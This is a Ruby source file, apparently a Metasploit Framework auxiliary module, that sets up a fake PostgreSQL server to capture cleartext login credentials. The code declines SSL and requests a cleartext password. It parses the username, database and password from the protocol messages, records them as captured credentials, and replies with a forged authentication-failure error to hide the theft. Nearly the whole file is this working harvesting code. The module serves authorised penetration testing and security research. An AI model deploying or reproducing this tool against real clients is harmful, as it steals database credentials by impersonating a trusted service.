118 lines
3.7 KiB
Ruby
118 lines
3.7 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::TcpServer
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include Msf::Auxiliary::Report
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def initialize
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super(
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'Name' => 'Authentication Capture: PostgreSQL',
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'Version' => '$Revision$',
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'Description' => %q{
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This module provides a fake PostgreSQL service that is designed to
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capture clear-text authentication credentials.},
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'Author' => 'Dhiru Kholia <dhiru at openwall.com>',
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'License' => MSF_LICENSE,
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'Actions' => [ [ 'Capture' ] ],
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'PassiveActions' => [ 'Capture' ],
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'DefaultAction' => 'Capture'
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)
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register_options(
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[
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OptPort.new('SRVPORT', [ true, "The local port to listen on.", 5432 ]),
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], self.class)
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end
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# This module is based on MySQL capture module by Patrik Karlsson.
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# Reference: http://www.postgresql.org/docs/9.2/static/protocol-message-formats.html
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def setup
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super
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@state = {}
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end
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def run
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print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...")
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exploit()
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end
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def on_client_connect(c)
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@state[c] = {
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:name => "#{c.peerhost}:#{c.peerport}",
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:ip => c.peerhost,
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:port => c.peerport,
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}
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@state[c]["status"] = :init
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end
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def on_client_data(c)
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data = c.get_once
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return if not data
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length = data.slice(0, 4).unpack("N")[0]
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if length == 8 and @state[c]["status"] == :init
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# SSL request
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c.put 'N'
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@state[c]["status"] = :send_auth_type
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elsif @state[c]["status"] == :send_auth_type
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# Startup message
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length = data.slice!(0, 4).unpack("N")[0]
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protocol = data.slice!(0, 4).unpack("N")[0]
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sdata = [ 0x52, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x03 ].pack("CCCCCCCCC")
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c.put sdata
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data.slice!(0, 5) # skip over "user\x00"
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@state[c][:username] = data.slice!(0, data.index("\x00") + 1).unpack("Z*")[0]
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data.slice!(0, 9) # skip over "database\x00"
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@state[c][:database] = data.slice!(0, data.index("\x00") + 1).unpack("Z*")[0]
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@state[c]["status"] = :pwn
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elsif @state[c]["status"] == :pwn and data[0] == 'p'
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# Password message
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length = data.slice!(0, 5).unpack("N")[0]
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@state[c][:password] = data.slice!(0, data.index("\x00") + 1).unpack("Z*")[0]
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report_auth_info(
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:host => c.peerhost,
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:port => datastore['SRVPORT'],
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:sname => 'psql',
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:user => @state[c][:username],
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:pass => @state[c][:password],
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:type => "PostgreSQL credentials",
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:proof => @state[c][:database],
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:source_type => "captured",
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:active => true
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)
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print_status("PostgreSQL LOGIN #{@state[c][:name]} #{@state[c][:username]} / #{@state[c][:password]} / #{@state[c][:database]}")
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# send failure message, currently the failing username is always "postgres"
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# TODO: make failing username dynamic!
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sdata = [
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0x45, 0x00, 0x00, 0x00, 0x61, 0x53, 0x46, 0x41,
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0x54, 0x41, 0x4c, 0x00, 0x43, 0x32, 0x38, 0x50,
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0x30, 0x31, 0x00, 0x4d, 0x70, 0x61, 0x73, 0x73,
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0x77, 0x6f, 0x72, 0x64, 0x20, 0x61, 0x75, 0x74,
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0x68, 0x65, 0x6e, 0x74, 0x69, 0x63, 0x61, 0x74,
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0x69, 0x6f, 0x6e, 0x20, 0x66, 0x61, 0x69, 0x6c,
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0x65, 0x64, 0x20, 0x66, 0x6f, 0x72, 0x20, 0x75,
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0x73, 0x65, 0x72, 0x20, 0x22, 0x70, 0x6f, 0x73,
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0x74, 0x67, 0x72, 0x65, 0x73, 0x22, 0x00, 0x46,
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0x61, 0x75, 0x74, 0x68, 0x2e, 0x63, 0x00, 0x4c,
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0x33, 0x30, 0x32, 0x00, 0x52, 0x61, 0x75, 0x74,
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0x68, 0x5f, 0x66, 0x61, 0x69, 0x6c, 0x65, 0x64,
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0x00, 0x00].pack("C" * 98)
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c.put sdata
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c.close
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end
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end
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def on_client_close(c)
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@state.delete(c)
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end
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end
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